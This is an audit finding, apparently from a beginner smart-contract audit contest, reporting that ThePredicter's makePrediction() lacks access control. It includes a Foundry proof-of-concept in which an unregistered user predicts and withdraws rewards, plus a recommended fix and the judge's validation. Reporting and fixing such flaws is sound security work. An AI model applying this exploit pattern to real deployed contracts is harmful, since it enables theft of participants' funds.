Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

An Attacker can make prediction without registering or being approved

Summary

An attacker can call makePrediction() without registering and paying entrance and would still be eligble to withdraw rewards.

Vulnerability Details

  • An attacker makes call to makePrediction() in ThePredicter.sol without registering and paying entrance fee and makes prediction.

  • The attacker makes withdrawal and receives the reward after the contest.

This is due to no check in makePrediction() in ThePredicter.sol if a user is a registered and approved player.

function makePrediction(
uint256 matchNumber,
ScoreBoard.Result prediction
) public payable {
if (msg.value != predictionFee) {
revert ThePredicter__IncorrectPredictionFee();
}
if (block.timestamp > START_TIME + matchNumber * 68400 - 68400) {
revert ThePredicter__PredictionsAreClosed();
}
scoreBoard.confirmPredictionPayment(msg.sender, matchNumber);
scoreBoard.setPrediction(msg.sender, matchNumber, prediction);
}

Add this test to the test folder and run forge t --mc AuditTest --mt test_canMakePredictionRegistering -vvvv

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
contract AuditTest is Test {
ThePredicter public thePredicter;
ScoreBoard public scoreBoard;
uint256 private constant START_TIME = 1723752000; // Thu Aug 15 2024 20:00:00 GMT+0000
address public organizer = makeAddr("organizer");
address public stranger = makeAddr("stranger");
address public player = makeAddr("player");
function setUp() public {
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
thePredicter = new ThePredicter(
address(scoreBoard),
0.04 ether,
0.0001 ether
);
scoreBoard.setThePredicter(address(thePredicter));
vm.stopPrank();
}
function test_canMakePredictionRegistering() public{
vm.deal(stranger, 0.0009 ether);
vm.deal(player, 1 ether);
//player registers with fee
vm.prank(player);
thePredicter.register{value: 0.04 ether}();
//stranger makes prediction with without registering
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(0, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(3, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(4, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(5, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(6, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(7, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(8, ScoreBoard.Result.Second);
assertEq(stranger.balance, 0);
vm.stopPrank();
vm.startPrank(player);
//player makes prediction with fee
thePredicter.makePrediction{value: 0.0001 ether}(0, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(3, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(4, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(5, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(6, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(7, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(8, ScoreBoard.Result.Second);
vm.stopPrank();
vm.startPrank(organizer);
//organizer sets results
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.Second);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.Second);
scoreBoard.setResult(4, ScoreBoard.Result.Second);
scoreBoard.setResult(5, ScoreBoard.Result.Second);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.Second);
scoreBoard.setResult(8, ScoreBoard.Result.Second);
vm.stopPrank();
vm.startPrank(stranger);
//stranger withdraws
thePredicter.withdraw();
assertTrue(stranger.balance > 0);
}
}

Impact

An attacker can take part in the contest without registering and paying entrance fee

Tools Used

Manual Code Review

Recommendations

There should be a check in the makePrediction() function in ThePredicter.sol to confirm a user is registered and an approved player.

function makePrediction(
uint256 matchNumber,
ScoreBoard.Result prediction
) public payable {
if (msg.value != predictionFee) {
revert ThePredicter__IncorrectPredictionFee();
}
if (block.timestamp > START_TIME + matchNumber * 68400 - 68400) {
revert ThePredicter__PredictionsAreClosed();
}
+ if (playersStatus[msg.sender] != Status.Approved) {
revert ThePredicter__UnauthorizedAccess();
}
scoreBoard.confirmPredictionPayment(msg.sender, matchNumber);
scoreBoard.setPrediction(msg.sender, matchNumber, prediction);
}
Updates

Lead Judging Commences

NightHawK Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

makePrediction lacks access control

makePrediction has no access controls and any unapproved user can make predictions causing an incorrect calculation and distribution of rewards.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.